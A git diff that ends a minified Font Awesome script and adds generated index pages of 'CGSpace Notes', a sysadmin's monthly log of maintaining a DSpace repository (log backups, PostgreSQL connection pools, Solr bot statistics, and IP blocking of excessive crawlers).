t.trim()}))):{prefix:null,iconName:null,rest:[]}}(t);return{iconName:e,title:t.getAttribute("title"),titleId:t.getAttribute("data-fa-title-id"),prefix:a,transform:o,symbol:c,mask:f,maskId:t.getAttribute("data-fa-mask-id"),extra:{classes:r,styles:i,attributes:s}}}function Zt(t){this.name="MissingIcon",this.message=t||"Icon unavailable",this.stack=(new Error).stack}Zt.prototype=Object.create(Error.prototype),Zt.prototype.constructor=Zt;var $t={fill:"currentColor"},tn={attributeType:"XML",repeatCount:"indefinite",dur:"2s"},nn={tag:"path",attributes:r({},$t,{d:"M156.5,447.7l-12.6,29.5c-18.7-9.5-35.9-21.2-51.5-34.9l22.7-22.7C127.6,430.5,141.5,440,156.5,447.7z M40.6,272H8.5 c1.4,21.2,5.4,41.7,11.7,61.1L50,321.2C45.1,305.5,41.8,289,40.6,272z M40.6,240c1.4-18.8,5.2-37,11.1-54.1l-29.5-12.6 C14.7,194.3,10,216.7,8.5,240H40.6z M64.3,156.5c7.8-14.9,17.2-28.8,28.1-41.5L69.7,92.3c-13.7,15.6-25.5,32.8-34.9,51.5 L64.3,156.5z M397,419.6c-13.9,12-29.4,22.3-46.1,30.4l11.9,29.8c20.7-9.9,39.8-22.6,56.9-37.6L397,419.6z M115,92.4 c13.9-12,29.4-22.3,46.1-30.4l-11.9-29.8c-20.7,9.9-39.8,22.6-56.8,37.6L115,92.4z M447.7,355.5c-7.8,14.9-17.2,28.8-28.1,41.5 l22.7,22.7c13.7-15.6,25.5-32.9,34.9-51.5L447.7,355.5z M471.4,272c-1.4,18.8-5.2,37-11.1,54.1l29.5,12.6 c7.5-21.1,12.2-43.5,13.6-66.8H471.4z M321.2,462c-15.7,5-32.2,8.2-49.2,9.4v32.1c21.2-1.4,41.7-5.4,61.1-11.7L321.2,462z M240,471.4c-18.8-1.4-37-5.2-54.1-11.1l-12.6,29.5c21.1,7.5,43.5,12.2,66.8,13.6V471.4z M462,190.8c5,15.7,8.2,32.2,9.4,49.2h32.1 c-1.4-21.2-5.4-41.7-11.7-61.1L462,190.8z M92.4,397c-12-13.9-22.3-29.4-30.4-46.1l-29.8,11.9c9.9,20.7,22.6,39.8,37.6,56.9 L92.4,397z M272,40.6c18.8,1.4,36.9,5.2,54.1,11.1l12.6-29.5C317.7,14.7,295.3,10,272,8.5V40.6z M190.8,50 c15.7-5,32.2-8.2,49.2-9.4V8.5c-21.2,1.4-41.7,5.4-61.1,11.7L190.8,50z M442.3,92.3L419.6,115c12,13.9,22.3,29.4,30.5,46.1 l29.8-11.9C470,128.5,457.3,109.4,442.3,92.3z M397,92.4l22.7-22.7c-15.6-13.7-32.8-25.5-51.5-34.9l-12.6,29.5 C370.4,72.1,384.4,81.5,397,92.4z"})},en=r({},tn,{attributeName:"opacity"}),an={tag:"g",children:[nn,{tag:"circle",attributes:r({},$t,{cx:"256",cy:"364",r:"28"}),children:[{tag:"animate",attributes:r({},tn,{attributeName:"r",values:"28;14;28;28;14;28;"})},{tag:"animate",attributes:r({},en,{values:"1;0;1;1;0;1;"})}]},{tag:"path",attributes:r({},$t,{opacity:"1",d:"M263.7,312h-16c-6.6,0-12-5.4-12-12c0-71,77.4-63.9,77.4-107.8c0-20-17.8-40.2-57.4-40.2c-29.1,0-44.3,9.6-59.2,28.7 c-3.9,5-11.1,6-16.2,2.4l-13.1-9.2c-5.6-3.9-6.9-11.8-2.6-17.2c21.2-27.2,46.4-44.7,91.2-44.7c52.3,0,97.4,29.8,97.4,80.2 c0,67.6-77.4,63.5-77.4,107.8C275.7,306.6,270.3,312,263.7,312z"}),children:[{tag:"animate",attributes:r({},en,{values:"1;0;0;0;0;1;"})}]},{tag:"path",attributes:r({},$t,{opacity:"0",d:"M232.5,134.5l7,168c0.3,6.4,5.6,11.5,12,11.5h9c6.4,0,11.7-5.1,12-11.5l7-168c0.3-6.8-5.2-12.5-12-12.5h-23 C237.7,122,232.2,127.7,232.5,134.5z"}),children:[{tag:"animate",attributes:r({},en,{values:"0;0;1;1;0;0;"})}]}]},rn=H.styles;function on(t){var n=t[0],e=t[1],a=i(t.slice(4),1)[0];return{found:!0,width:n,height:e,icon:Array.isArray(a)?{tag:"g",attributes:{class:"".concat(R.familyPrefix,"-").concat(T.GROUP)},children:[{tag:"path",attributes:{class:"".concat(R.familyPrefix,"-").concat(T.SECONDARY),fill:"currentColor",d:a[0]}},{tag:"path",attributes:{class:"".concat(R.familyPrefix,"-").concat(T.PRIMARY),fill:"currentColor",d:a[1]}}]}:{tag:"path",attributes:{fill:"currentColor",d:a}}}}function cn(t,n){return new lt((function(e,a){var r={found:!1,width:512,height:512,icon:an};if(t&&n&&rn[n]&&rn[n][t])return e(on(rn[n][t]));t&&n&&!R.showMissingIcons?a(new Zt("Icon is missing for prefix ".concat(n," with icon name ").concat(t))):e(r)}))}var sn=H.styles;function fn(t){var n=Qt(t);return~n.extra.classes.indexOf(N)?function(t,n){var e=n.title,a=n.transform,r=n.extra,i=null,o=null;if(b){var c=parseInt(getComputedStyle(t).fontSize,10),s=t.getBoundingClientRect();i=s.width/c,o=s.height/c}return R.autoA11y&&!e&&(r.attributes["aria-hidden"]="true"),lt.resolve([t,At({content:t.innerHTML,width:i,height:o,transform:a,title:e,extra:r,watchable:!0})])}(t,n):function(t,n){var e=n.iconName,a=n.title,r=n.titleId,o=n.prefix,c=n.transform,s=n.symbol,f=n.mask,l=n.maskId,u=n.extra;return new lt((function(n,m){lt.all([cn(e,o),cn(f.iconName,f.prefix)]).then((function(f){var m=i(f,2),d=m[0],p=m[1];n([t,_t({icons:{main:d,mask:p},prefix:o,iconName:e,transform:c,symbol:s,mask:p,maskId:l,title:a,titleId:r,extra:u,watchable:!0})])}))}))}(t,n)}function ln(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;if(v){var e=p.documentElement.classList,a=function(t){return e.add("".concat(k,"-").concat(t))},r=function(t){return e.remove("".concat(k,"-").concat(t))},i=R.autoFetchSvg?Object.keys(M):Object.keys(sn),o=[".".concat(N,":not([").concat(w,"])")].concat(i.map((function(t){return".".concat(t,":not([").concat(w,"])")}))).join(", ");if(0!==o.length){var c=[];try{c=ht(t.querySelectorAll(o))}catch(t){}if(c.length>0){a("pending"),r("complete");var s=Ct("onTree"),f=c.reduce((function(t,n){try{var e=fn(n);e&&t.push(e)}catch(t){A||t instanceof Zt&&console.error(t)}return t}),[]);return new lt((function(t,e){lt.all(f).then((function(e){Ut(e,(function(){a("active"),a("complete"),r("pending"),"function"==typeof n&&n(),s(),t()}))})).catch((function(){s(),e()}))}))}}}}function un(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;fn(t).then((function(t){t&&Ut([t],n)}))}function mn(t,n){var e="".concat("data-fa-pseudo-element-pending").concat(n.replace(":","-"));return new lt((function(a,i){if(null!==t.getAttribute(e))return a();var o=ht(t.children).filter((function(t){return t.getAttribute(x)===n}))[0],c=d.getComputedStyle(t,n),s=c.getPropertyValue("font-family").match(C),f=c.getPropertyValue("font-weight"),l=c.getPropertyValue("content");if(o&&!s)return t.removeChild(o),a();if(s&&"none"!==l&&""!==l){var u=c.getPropertyValue("content"),m=~["Solid","Regular","Light","Duotone","Brands","Kit"].indexOf(s[2])?O[s[2].toLowerCase()]:E[f],h=St(3===u.length?u.substr(1,1):u),g=Ft(m,h),v=g;if(!g||o&&o.getAttribute("data-prefix")===m&&o.getAttribute("data-icon")===v)a();else{t.setAttribute(e,v),o&&t.removeChild(o);var b={iconName:null,title:null,titleId:null,prefix:null,transform:mt,symbol:!1,mask:null,maskId:null,extra:{classes:[],styles:{},attributes:{}}},y=b.extra;y.attributes[x]=n,cn(g,m).then((function(i){var o=_t(r({},b,{icons:{main:i,mask:{prefix:null,iconName:null,rest:[]}},prefix:m,iconName:v,extra:y,watchable:!0})),c=p.createElement("svg");":before"===n?t.insertBefore(c,t.firstChild):t.appendChild(c),c.outerHTML=o.map((function(t){return Yt(t)})).join("\n"),t.removeAttribute(e),a()})).catch(i)}}else a()}))}function dn(t){return lt.all([mn(t,":before"),mn(t,":after")])}function pn(t){return!(t.parentNode===document.head||~_.indexOf(t.tagName.toUpperCase())||t.getAttribute(x)||t.parentNode&&"svg"===t.parentNode.tagName)}function hn(t){if(v)return new lt((function(n,e){var a=ht(t.querySelectorAll("*")).filter(pn).map(dn),r=Ct("searchPseudoElements");qt=!0,lt.all(a).then((function(){r(),Gt(),n()})).catch((function(){r(),Gt(),e()}))}))}function gn(){var t="fa",n=y,e=R.familyPrefix,a=R.replacementClass,r='svg:not(:root).svg-inline--fa {\n overflow: visible;\n}\n\n.svg-inline--fa {\n display: inline-block;\n font-size: inherit;\n height: 1em;\n overflow: visible;\n vertical-align: -0.125em;\n}\n.svg-inline--fa.fa-lg {\n vertical-align: -0.225em;\n}\n.svg-inline--fa.fa-w-1 {\n width: 0.0625em;\n}\n.svg-inline--fa.fa-w-2 {\n width: 0.125em;\n}\n.svg-inline--fa.fa-w-3 {\n width: 0.1875em;\n}\n.svg-inline--fa.fa-w-4 {\n width: 0.25em;\n}\n.svg-inline--fa.fa-w-5 {\n width: 0.3125em;\n}\n.svg-inline--fa.fa-w-6 {\n width: 0.375em;\n}\n.svg-inline--fa.fa-w-7 {\n width: 0.4375em;\n}\n.svg-inline--fa.fa-w-8 {\n width: 0.5em;\n}\n.svg-inline--fa.fa-w-9 {\n width: 0.5625em;\n}\n.svg-inline--fa.fa-w-10 {\n width: 0.625em;\n}\n.svg-inline--fa.fa-w-11 {\n width: 0.6875em;\n}\n.svg-inline--fa.fa-w-12 {\n width: 0.75em;\n}\n.svg-inline--fa.fa-w-13 {\n width: 0.8125em;\n}\n.svg-inline--fa.fa-w-14 {\n width: 0.875em;\n}\n.svg-inline--fa.fa-w-15 {\n width: 0.9375em;\n}\n.svg-inline--fa.fa-w-16 {\n width: 1em;\n}\n.svg-inline--fa.fa-w-17 {\n width: 1.0625em;\n}\n.svg-inline--fa.fa-w-18 {\n width: 1.125em;\n}\n.svg-inline--fa.fa-w-19 {\n width: 1.1875em;\n}\n.svg-inline--fa.fa-w-20 {\n width: 1.25em;\n}\n.svg-inline--fa.fa-pull-left {\n margin-right: 0.3em;\n width: auto;\n}\n.svg-inline--fa.fa-pull-right {\n margin-left: 0.3em;\n width: auto;\n}\n.svg-inline--fa.fa-border {\n height: 1.5em;\n}\n.svg-inline--fa.fa-li {\n width: 2em;\n}\n.svg-inline--fa.fa-fw {\n width: 1.25em;\n}\n\n.fa-layers svg.svg-inline--fa {\n bottom: 0;\n left: 0;\n margin: auto;\n position: absolute;\n right: 0;\n top: 0;\n}\n\n.fa-layers {\n display: inline-block;\n height: 1em;\n position: relative;\n text-align: center;\n vertical-align: -0.125em;\n width: 1em;\n}\n.fa-layers svg.svg-inline--fa {\n -webkit-transform-origin: center center;\n transform-origin: center center;\n}\n\n.fa-layers-counter, .fa-layers-text {\n display: inline-block;\n position: absolute;\n text-align: center;\n}\n\n.fa-layers-text {\n left: 50%;\n top: 50%;\n -webkit-transform: translate(-50%, -50%);\n transform: translate(-50%, -50%);\n -webkit-transform-origin: center center;\n transform-origin: center center;\n}\n\n.fa-layers-counter {\n background-color: #ff253a;\n border-radius: 1em;\n -webkit-box-sizing: border-box;\n box-sizing: border-box;\n color: #fff;\n height: 1.5em;\n line-height: 1;\n max-width: 5em;\n min-width: 1.5em;\n overflow: hidden;\n padding: 0.25em;\n right: 0;\n text-overflow: ellipsis;\n top: 0;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: top right;\n transform-origin: top right;\n}\n\n.fa-layers-bottom-right {\n bottom: 0;\n right: 0;\n top: auto;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: bottom right;\n transform-origin: bottom right;\n}\n\n.fa-layers-bottom-left {\n bottom: 0;\n left: 0;\n right: auto;\n top: auto;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: bottom left;\n transform-origin: bottom left;\n}\n\n.fa-layers-top-right {\n right: 0;\n top: 0;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: top right;\n transform-origin: top right;\n}\n\n.fa-layers-top-left {\n left: 0;\n right: auto;\n top: 0;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: top left;\n transform-origin: top left;\n}\n\n.fa-lg {\n font-size: 1.3333333333em;\n line-height: 0.75em;\n vertical-align: -0.0667em;\n}\n\n.fa-xs {\n font-size: 0.75em;\n}\n\n.fa-sm {\n font-size: 0.875em;\n}\n\n.fa-1x {\n font-size: 1em;\n}\n\n.fa-2x {\n font-size: 2em;\n}\n\n.fa-3x {\n font-size: 3em;\n}\n\n.fa-4x {\n font-size: 4em;\n}\n\n.fa-5x {\n font-size: 5em;\n}\n\n.fa-6x {\n font-size: 6em;\n}\n\n.fa-7x {\n font-size: 7em;\n}\n\n.fa-8x {\n font-size: 8em;\n}\n\n.fa-9x {\n font-size: 9em;\n}\n\n.fa-10x {\n font-size: 10em;\n}\n\n.fa-fw {\n text-align: center;\n width: 1.25em;\n}\n\n.fa-ul {\n list-style-type: none;\n margin-left: 2.5em;\n padding-left: 0;\n}\n.fa-ul > li {\n position: relative;\n}\n\n.fa-li {\n left: -2em;\n position: absolute;\n text-align: center;\n width: 2em;\n line-height: inherit;\n}\n\n.fa-border {\n border: solid 0.08em #eee;\n border-radius: 0.1em;\n padding: 0.2em 0.25em 0.15em;\n}\n\n.fa-pull-left {\n float: left;\n}\n\n.fa-pull-right {\n float: right;\n}\n\n.fa.fa-pull-left,\n.fas.fa-pull-left,\n.far.fa-pull-left,\n.fal.fa-pull-left,\n.fab.fa-pull-left {\n margin-right: 0.3em;\n}\n.fa.fa-pull-right,\n.fas.fa-pull-right,\n.far.fa-pull-right,\n.fal.fa-pull-right,\n.fab.fa-pull-right {\n margin-left: 0.3em;\n}\n\n.fa-spin {\n -webkit-animation: fa-spin 2s infinite linear;\n animation: fa-spin 2s infinite linear;\n}\n\n.fa-pulse {\n -webkit-animation: fa-spin 1s infinite steps(8);\n animation: fa-spin 1s infinite steps(8);\n}\n\n@-webkit-keyframes fa-spin {\n 0% {\n -webkit-transform: rotate(0deg);\n transform: rotate(0deg);\n }\n 100% {\n -webkit-transform: rotate(360deg);\n transform: rotate(360deg);\n }\n}\n\n@keyframes fa-spin {\n 0% {\n -webkit-transform: rotate(0deg);\n transform: rotate(0deg);\n }\n 100% {\n -webkit-transform: rotate(360deg);\n transform: rotate(360deg);\n }\n}\n.fa-rotate-90 {\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";\n -webkit-transform: rotate(90deg);\n transform: rotate(90deg);\n}\n\n.fa-rotate-180 {\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";\n -webkit-transform: rotate(180deg);\n transform: rotate(180deg);\n}\n\n.fa-rotate-270 {\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";\n -webkit-transform: rotate(270deg);\n transform: rotate(270deg);\n}\n\n.fa-flip-horizontal {\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";\n -webkit-transform: scale(-1, 1);\n transform: scale(-1, 1);\n}\n\n.fa-flip-vertical {\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";\n -webkit-transform: scale(1, -1);\n transform: scale(1, -1);\n}\n\n.fa-flip-both, .fa-flip-horizontal.fa-flip-vertical {\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";\n -webkit-transform: scale(-1, -1);\n transform: scale(-1, -1);\n}\n\n:root .fa-rotate-90,\n:root .fa-rotate-180,\n:root .fa-rotate-270,\n:root .fa-flip-horizontal,\n:root .fa-flip-vertical,\n:root .fa-flip-both {\n -webkit-filter: none;\n filter: none;\n}\n\n.fa-stack {\n display: inline-block;\n height: 2em;\n position: relative;\n width: 2.5em;\n}\n\n.fa-stack-1x,\n.fa-stack-2x {\n bottom: 0;\n left: 0;\n margin: auto;\n position: absolute;\n right: 0;\n top: 0;\n}\n\n.svg-inline--fa.fa-stack-1x {\n height: 1em;\n width: 1.25em;\n}\n.svg-inline--fa.fa-stack-2x {\n height: 2em;\n width: 2.5em;\n}\n\n.fa-inverse {\n color: #fff;\n}\n\n.sr-only {\n border: 0;\n clip: rect(0, 0, 0, 0);\n height: 1px;\n margin: -1px;\n overflow: hidden;\n padding: 0;\n position: absolute;\n width: 1px;\n}\n\n.sr-only-focusable:active, .sr-only-focusable:focus {\n clip: auto;\n height: auto;\n margin: 0;\n overflow: visible;\n position: static;\n width: auto;\n}\n\n.svg-inline--fa .fa-primary {\n fill: var(--fa-primary-color, currentColor);\n opacity: 1;\n opacity: var(--fa-primary-opacity, 1);\n}\n\n.svg-inline--fa .fa-secondary {\n fill: var(--fa-secondary-color, currentColor);\n opacity: 0.4;\n opacity: var(--fa-secondary-opacity, 0.4);\n}\n\n.svg-inline--fa.fa-swap-opacity .fa-primary {\n opacity: 0.4;\n opacity: var(--fa-secondary-opacity, 0.4);\n}\n\n.svg-inline--fa.fa-swap-opacity .fa-secondary {\n opacity: 1;\n opacity: var(--fa-primary-opacity, 1);\n}\n\n.svg-inline--fa mask .fa-primary,\n.svg-inline--fa mask .fa-secondary {\n fill: black;\n}\n\n.fad.fa-inverse {\n color: #fff;\n}';if(e!==t||a!==n){var i=new RegExp("\\.".concat(t,"\\-"),"g"),o=new RegExp("\\--".concat(t,"\\-"),"g"),c=new RegExp("\\.".concat(n),"g");r=r.replace(i,".".concat(e,"-")).replace(o,"--".concat(e,"-")).replace(c,".".concat(a))}return r}function vn(){R.autoAddCss&&!wn&&(dt(gn()),wn=!0)}function bn(t,n){return Object.defineProperty(t,"abstract",{get:n}),Object.defineProperty(t,"html",{get:function(){return t.abstract.map((function(t){return Yt(t)}))}}),Object.defineProperty(t,"node",{get:function(){if(v){var n=p.createElement("div");return n.innerHTML=t.html,n.children}}}),t}var yn=new(function(){function t(){!function(t,n){if(!(t instanceof n))throw new TypeError("Cannot call a class as a function")}(this,t),this.definitions={}}var n,a;return n=t,a=[{key:"add",value:function(){for(var t=this,n=arguments.length,e=new Array(n),a=0;a0&&void 0!==arguments[0]?arguments[0]:{};if(v){vn();var n=t.node,e=void 0===n?p:n,a=t.callback,r=void 0===a?function(){}:a;return R.searchPseudoElements&&hn(e),ln(e,r)}return lt.reject("Operation requires a DOM of some kind.")},css:gn,insertCss:function(){wn||(dt(gn()),wn=!0)},watch:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.autoReplaceSvgRoot,e=t.observeMutationsRoot;!1===R.autoReplaceSvg&&(R.autoReplaceSvg=!0),R.observeMutations=!0,V((function(){_n({autoReplaceSvgRoot:n}),Jt({treeCallback:ln,nodeCallback:un,pseudoElementsCallback:hn,observeMutationsRoot:e})}))}},kn=(function(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},e=n.transform,a=void 0===e?mt:e,i=n.symbol,o=void 0!==i&&i,c=n.mask,s=void 0===c?null:c,f=n.maskId,l=void 0===f?null:f,u=n.title,m=void 0===u?null:u,d=n.titleId,p=void 0===d?null:d,h=n.classes,g=void 0===h?[]:h,v=n.attributes,b=void 0===v?{}:v,y=n.styles,w=void 0===y?{}:y;if(t){var x=t.prefix,k=t.iconName,_=t.icon;return bn(r({type:"icon"},t),(function(){return vn(),R.autoA11y&&(m?b["aria-labelledby"]="".concat(R.replacementClass,"-title-").concat(p||pt()):(b["aria-hidden"]="true",b.focusable="false")),_t({icons:{main:on(_),mask:s?on(s.icon):{found:!1,width:null,height:null,icon:{}}},prefix:x,iconName:k,transform:r({},mt,a),symbol:o,title:m,maskId:l,titleId:p,extra:{attributes:b,styles:w,classes:g}})}))}},xn),_n=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.autoReplaceSvgRoot,e=void 0===n?p:n;(Object.keys(H.styles).length>0||R.autoFetchSvg)&&v&&R.autoReplaceSvg&&kn.i2svg({node:e})};yn.add({prefix:"fas",iconName:"folder",icon:[512,512,[],"f07b","M464 128H272l-64-64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48z"]},{prefix:"fas",iconName:"tag",icon:[512,512,[],"f02b","M0 252.118V48C0 21.49 21.49 0 48 0h204.118a48 48 0 0 1 33.941 14.059l211.882 211.882c18.745 18.745 18.745 49.137 0 67.882L293.823 497.941c-18.745 18.745-49.137 18.745-67.882 0L14.059 286.059A48 48 0 0 1 0 252.118zM112 64c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48z"]}),yn.add({prefix:"fab",iconName:"facebook-f",icon:[320,512,[],"f39e","M279.14 288l14.22-92.66h-88.91v-60.13c0-25.35 12.42-50.06 52.24-50.06h40.42V6.26S260.43 0 225.36 0c-73.22 0-121.08 44.38-121.08 124.72v70.62H22.89V288h81.39v224h100.17V288z"]},{prefix:"fab",iconName:"twitter",icon:[512,512,[],"f099","M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z"]},{prefix:"fab",iconName:"linkedin-in",icon:[448,512,[],"f0e1","M100.28 448H7.4V148.9h92.88zM53.79 108.1C24.09 108.1 0 83.5 0 53.8a53.79 53.79 0 0 1 107.58 0c0 29.7-24.1 54.3-53.79 54.3zM447.9 448h-92.68V302.4c0-34.7-.7-79.2-48.29-79.2-48.29 0-55.69 37.7-55.69 76.7V448h-92.78V148.9h89.08v40.8h1.3c12.4-23.5 42.69-48.3 87.88-48.3 94 0 111.28 61.9 111.28 142.3V448z"]}),xn.watch()})(); \ No newline at end of file diff --git a/docs/page/1/index.html b/docs/page/1/index.html new file mode 100644 index 000000000..76a4b477b --- /dev/null +++ b/docs/page/1/index.html @@ -0,0 +1,10 @@ + + + + https://alanorth.github.io/cgspace-notes/ + + + + + + diff --git a/docs/page/10/index.html b/docs/page/10/index.html new file mode 100644 index 000000000..6dd3f4b96 --- /dev/null +++ b/docs/page/10/index.html @@ -0,0 +1,325 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + +
+
+

April, 2016

+

by Alan Orth in + +  + +

+
+

2016-04-04

+
    +
  • Looking at log file use on CGSpace and notice that we need to work on our cron setup a bit
    • +
  • We are backing up all logs in the log folder, including useless stuff like solr, cocoon, handle-plugin, etc
    • +
  • After running DSpace for over five years I’ve never needed to look in any other log file than dspace.log, leave alone one from last year!
    • +
  • This will save us a few gigs of backup space we’re paying for on S3
    • +
  • Also, I noticed the checker log has some errors we should pay attention to:
    • +
+ Read more → +
+ + + + + + +
+
+

March, 2016

+

by Alan Orth in + +  + +

+
+

2016-03-02

+
    +
  • Looking at issues with author authorities on CGSpace
    • +
  • For some reason we still have the index-lucene-update cron job active on CGSpace, but I’m pretty sure we don’t need it as of the latest few versions of Atmire’s Listings and Reports module
    • +
  • Reinstall my local (Mac OS X) DSpace stack with Tomcat 7, PostgreSQL 9.3, and Java JDK 1.7 to match environment on CGSpace server
    • +
+ Read more → +
+ + + + + + +
+
+

February, 2016

+

by Alan Orth in + +  + +

+
+

2016-02-05

+
    +
  • Looking at some DAGRIS data for Abenet Yabowork
    • +
  • Lots of issues with spaces, newlines, etc causing the import to fail
    • +
  • I noticed we have a very interesting list of countries on CGSpace:
    • +
+

CGSpace country list

+
    +
  • Not only are there 49,000 countries, we have some blanks (25)…
    • +
  • Also, lots of things like “COTE D`LVOIRE” and “COTE D IVOIRE”
    • +
+ Read more → +
+ + + + + + +
+
+

January, 2016

+

by Alan Orth in + +  + +

+
+

2016-01-13

+
    +
  • Move ILRI collection 10568/12503 from 10568/27869 to 10568/27629 using the move_collections.sh script I wrote last year.
    • +
  • I realized it is only necessary to clear the Cocoon cache after moving collections—rather than reindexing—as no metadata has changed, and therefore no search or browse indexes need to be updated.
    • +
  • Update GitHub wiki for documentation of maintenance tasks.
    • +
+ Read more → +
+ + + + + + +
+
+

December, 2015

+

by Alan Orth in + +  + +

+
+

2015-12-02

+
    +
  • Replace lzop with xz in log compression cron jobs on DSpace Test—it uses less space:
    • +
+
# cd /home/dspacetest.cgiar.org/log
+# ls -lh dspace.log.2015-11-18*
+-rw-rw-r-- 1 tomcat7 tomcat7 2.0M Nov 18 23:59 dspace.log.2015-11-18
+-rw-rw-r-- 1 tomcat7 tomcat7 387K Nov 18 23:59 dspace.log.2015-11-18.lzo
+-rw-rw-r-- 1 tomcat7 tomcat7 169K Nov 18 23:59 dspace.log.2015-11-18.xz
+
+ Read more → +
+ + + + + + +
+
+

November, 2015

+

by Alan Orth in + +  + +

+
+

2015-11-22

+
    +
  • CGSpace went down
    • +
  • Looks like DSpace exhausted its PostgreSQL connection pool
    • +
  • Last week I had increased the limit from 30 to 60, which seemed to help, but now there are many more idle connections:
    • +
+
$ psql -c 'SELECT * from pg_stat_activity;' | grep idle | grep -c cgspace
+78
+
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/page/2/index.html b/docs/page/2/index.html new file mode 100644 index 000000000..1f046c236 --- /dev/null +++ b/docs/page/2/index.html @@ -0,0 +1,449 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + +
+
+

September, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-09-01

+
    +
  • A bit of work on the “Mapping CG Core–CGSpace–MEL–MARLO Types” spreadsheet
    • +
  • I tested an item submission on DSpace Test with the Cocoon org.apache.cocoon.uploads.autosave=false change +
      +
    • The submission works as expected
      • +
    +
    • +
  • Start debugging some region-related issues with csv-metadata-quality +
      +
    • I created a new test file test-geography.csv with some different scenarios
      • +
    • I also fixed a few bugs and improved the region-matching logic
      • +
    +
    • +
+ Read more → +
+ + + + + + + + + + + + + +
+
+

July, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-07-02

+
    +
  • I learned how to use the Levenshtein functions in PostgreSQL +
      +
    • The thing is that there is a limit of 255 characters for these functions in PostgreSQL so you need to truncate the strings before comparing
      • +
    • Also, the trgm functions I’ve used before are case insensitive, but Levenshtein is not, so you need to make sure to lower case both strings first
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

June, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-06-06

+
    +
  • Look at the Solr statistics on CGSpace +
      +
    • I see 167,000 hits from a bunch of Microsoft IPs with reverse DNS “msnbot-” using the Solr query dns:*msnbot* AND dns:*.msn.com
      • +
    • I purged these first so I could see the other “real” IPs in the Solr facets
      • +
    +
    • +
  • I see 47,500 hits from 80.248.237.167 on a data center ISP in Sweden, using a normal user agent
    • +
  • I see 13,000 hits from 163.237.216.11 on a data center ISP in Australia, using a normal user agent
    • +
  • I see 7,300 hits from 208.185.238.57 from Britanica, using a normal user agent +
      +
    • There seem to be many more of these:
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

May, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-05-04

+
    +
  • I found a few more IPs making requests using the shady Chrome 44 user agent in the last few days so I will add them to the block list too: +
      +
    • 18.207.136.176
      • +
    • 185.189.36.248
      • +
    • 50.118.223.78
      • +
    • 52.70.76.123
      • +
    • 3.236.10.11
      • +
    +
    • +
  • Looking at the Solr statistics for 2022-04 +
      +
    • 52.191.137.59 is Microsoft, but they are using a normal user agent and making tens of thousands of requests
      • +
    • 64.39.98.62 is owned by Qualys, and all their requests are probing for /etc/passwd etc
      • +
    • 185.192.69.15 is in the Netherlands and is using a normal user agent, but making excessive automated HTTP requests to paths forbidden in robots.txt
      • +
    • 157.55.39.159 is owned by Microsoft and identifies as bingbot so I don’t know why its requests were logged in Solr
      • +
    • 52.233.67.176 is owned by Microsoft and uses a normal user agent, but making excessive automated HTTP requests
      • +
    • 157.55.39.144 is owned by Microsoft and uses a normal user agent, but making excessive automated HTTP requests
      • +
    • 207.46.13.177 is owned by Microsoft and identifies as bingbot so I don’t know why its requests were logged in Solr
      • +
    • If I query Solr for time:2022-04* AND dns:*msnbot* AND dns:*.msn.com. I see a handful of IPs that made 41,000 requests
      • +
    +
    • +
  • I purged 93,974 hits from these IPs using my check-spider-ip-hits.sh script
    • +
+ Read more → +
+ + + + + + +
+
+

April, 2022

+

by Alan Orth in + Notes + + +

+
